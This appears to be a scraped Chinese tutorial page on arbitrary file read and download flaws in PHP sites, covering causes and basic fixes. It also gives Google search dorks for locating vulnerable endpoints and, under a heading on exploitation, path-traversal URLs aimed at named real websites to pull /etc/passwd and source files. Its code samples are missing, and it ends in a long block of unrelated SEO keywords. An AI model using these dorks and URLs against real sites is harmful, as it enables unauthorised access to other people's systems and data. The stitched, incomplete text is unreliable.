任意文件读取与下载
发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,0x00 背景介绍一些网站的业务需要,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,就能够查看或下载任意的文件,可以是源文件,敏感文件等等0x01 文件读取文件读取在PHP这种可以
千家信息网最后更新 2026年10月31日任意文件读取与下载
0x00 背景介绍
一些网站的业务需要,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,就能够查看或下载任意的文件,可以是源文件,敏感文件等等
0x01 文件读取
文件读取在PHP这种可以有很多种方式实现,在web的默认情况下,$filename变量可能用户可控
#当变量 $filename 没有经过校验,或者校验不严格,用户可以控制这个变量读取任意文件,例如/etc/passwd、/config.ini 等文件
0x02 实现文件下载的两种方式
1.直接下载:
2.增加header头
当$filename没有经过校验,或者校验不合格,用户可以控制这个变量下载任意文件,比如/etc/passwd,./index.php、等等就造成了任意文件下载漏洞。
0x03 成因
都有读取文件的函数
读物文件的路径用户可控,且没有经过校验,或者校验不严格
都输出文件内容
0x04 Google Serch
inurl:"readfile.php?file="inurl:"download.php?file="
0x05 修复方案
过滤<.>(点)
正则判断用户输入的参数格式,匹配输入的格式是否合格
php.ini配置open_basedir
0x06 实例漏洞利用
(仅供测试,请勿随意破坏)
地址:
url:http://hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt
漏洞利用:
http://hypnet.org.uk/shared/readfile.php?file=../../../../../../../../../../etc/passwd
地址:
url:http://storiedifarina.it/readfile.php?file=pdf/storiedifarina.pdf
漏洞利用
http://www.wodehouse.se/upload/readfile.php?file=../index.php
文件
用户
变量
漏洞
地址
文件下载
方式
格式
控制
输入
业务
内容
函数
功能
参数
实例
情况
成因
方案
正则
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
互联网科技公司排名
云之行互联网科技
互联网科技深圳
互联网是不是新科技
科技互联网公司装修
互联网核心科技是什么
西安互联网科技
碳银互联网科技
智慧科技互联网
新浪科技互联网
互联网科技公司做什么
互联网科技大会案例
海南购全球互联网科技
恒生科技互联网指数分析
互联网之后的科技是什么
互联网科技创新服务
上海科技产业互联网平台
互联网相关科技技术
南京一网一红互联网科技有限公司
广东猫王互联网科技有限公司电话
小米移动互联网科技园
智网互联网科技
期待互联网科技
互联网科技股票
北京互联网络科技有限公司
海南购全球互联网科技
互联网与医疗科技
注册互联网科技公司经营范围大全
互联网科技和信息
重庆科技产业互联网有哪些